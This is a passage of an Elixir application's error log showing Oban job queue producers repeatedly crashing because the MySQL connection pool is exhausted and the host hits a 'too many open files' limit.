    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:56:47.237608Z], limit: 5, uuid: "3d7150b9-131e-4a6e-a984-5cf296b63fe6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:47.237615Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.75235>, refresh_timer: #Reference<0.2525715032.1099431938.75178>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:59.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1090ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:56:47.237862Z], limit: 20, uuid: "ee95d6ac-7bcc-4e8d-8706-011951d9edc6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:47.237870Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.75236>, refresh_timer: #Reference<0.2525715032.1121189889.232915>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:59.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 828ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:56:47.239275Z], limit: 5, uuid: "80cb21ee-1f24-4ab4-a1f5-93d90e8f9bec", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:47.239281Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.75237>, refresh_timer: #Reference<0.2525715032.1121189889.232940>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:59.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1086ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:56:47.239445Z], limit: 10, uuid: "6b9cb582-fadc-417a-99d1-b279e3155914", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:47.239450Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.75234>, refresh_timer: #Reference<0.2525715032.1099431938.75230>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:59.840000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:01.450000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:03.580000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:04.032000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:10.693000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:11.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1078ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:56:59.240167Z], limit: 20, uuid: "22c59ec3-deea-4704-8673-23cbd500b63b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:59.240173Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.61979>, refresh_timer: #Reference<0.2525715032.1077673987.61977>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:11.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 881ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:56:59.239280Z], limit: 3, uuid: "5b38255c-16c2-4c5e-a10a-78449ddbfee3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:59.239286Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.233414>, refresh_timer: #Reference<0.2525715032.1099431938.75351>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:11.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1028ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:56:59.240237Z], limit: 5, uuid: "f6682e59-5644-423f-b8fe-777a8e32f899", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:59.240242Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.233412>, refresh_timer: #Reference<0.2525715032.1099431938.75364>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:11.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 857ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:56:59.237670Z], limit: 50, uuid: "c9a9bab9-b94b-4d10-9d83-175fd20c0e1b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:59.237679Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.233413>, refresh_timer: #Reference<0.2525715032.1099431938.75327>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:11.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1008ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:56:59.240624Z], limit: 10, uuid: "321a4972-1fea-4839-87bf-2c155a44a032", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:59.240630Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.75365>, refresh_timer: #Reference<0.2525715032.1068498948.89034>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:11.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 898ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
